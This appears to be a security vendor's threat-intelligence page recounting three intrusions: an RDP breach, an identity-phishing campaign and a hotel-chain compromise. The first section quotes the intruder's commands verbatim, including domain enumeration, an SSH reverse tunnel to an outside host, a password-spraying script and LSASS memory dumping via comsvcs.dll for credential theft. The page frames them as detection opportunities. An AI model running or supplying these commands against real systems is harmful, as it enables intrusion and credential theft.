Real Tradecraft, Real Results

This cybercriminal accidentally helped us open-source the attacker playbook

A threat actor broke in via exposed RDP from 193.106.31[.]98 and assumed they were in the clear.

Instead, we recorded their every move and mapped their playbook.

Enumeration
Once inside, the attacker immediately began basic host and domain discovery, with rapid-fire commands to understand where they landed and what execution powers they had.

systeminfo
whoami /all
([adsisearcher]"(ObjectClass=computer)").FindAll().count
net user <redacted> /domain
nltest /domain_trusts
nltest /dclist:
net group "Domain Computers" /domain

Persistence & Remote Access
To maintain persistent remote access, the attacker dropped an SSH reverse shell.

C:\Users\<redacted>\AppData\Roaming\ssh.exe -o "StrictHostKeyChecking=no" -o "ServerAliveInterval=5" [email protected][.]206 -R 21051

Privilege Escalation Attempt by Internal Password Spraying
The attacker then attempted attempted brute force from inside the network, via a Powershell module Import-Module .\localbrute.ps1.

localbrute Administrator Pass.txt debug
localbrute <domain>\<user> Pass.txt debug

Credential Access Attempt
They then escalated to memory dumping, using a well-known LSASS technique, for credential theft.

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 832 MiniDump 832 lsass.dmp full

• Nothing here is novel.
• Attackers are still relying on copy-paste tradecraft, predictable tooling, and noisy execution.
• When defenders have visibility, this playbook reads less like a threat and more like a checklist of detection opportunities.

In the span of 48 hours, a threat actor tried to compromise nearly 100 identities

Their targets included:

🧱 Construction companies

🌭 Food catering providers

⚙️ Mechanical engineers

📚 Elementary schools

Locking in on the adversarial public IPv6s (2a05:541:116:2d::1, 2a05:541:116:13::1), our SOC tracked this threat actor's activities, taking them down when they made progress against an identity.

Looking closer, we found they were using the Axios framework: a legitimate tool that can be abused for phishing and account compromise. Fortunately, the SOC was equipped with ITDR to fight the threat actor for every inch of identity territory they tried to steal.

To prevent these kinds of infections in your network, we recommend:

➡️ Complex conditional access policies and MFA: We watched in real-time as the threat actor failed to gain entry to an identity, despite having the right credentials, because of these security obstacles.

➡️ Security-aware users: This threat actor likely got access via mass phishing. Equipping users with the knowledge to identify phishing attempts neutralizes attacks like this before they can even begin.

With identity threats like these becoming the new norm, the question isn't if attackers will come for your users...it’s when.

This hotel chain in Arizona found itself hosting an uninvited guest who

✅ Installed the remote access tool Atera on two hosts.
✅ Attempted to drop an SSH backdoor to 45[.]61[.]136[.]23.
✅ Created a user account named iagservice with the password 9py5PGMjvtx and added it to the Administrators group.

Our SOC caught the activity, booted the intruder, and cleaned up all their persistence attempts before any real damage set in.

The takeaway is this: lock down privilege management and high-tier accounts. 🔏

Threat actors are the worst guests—they love easy-to-leverage admin access, and they’ll stick around if you leave the doors wide open. 🚪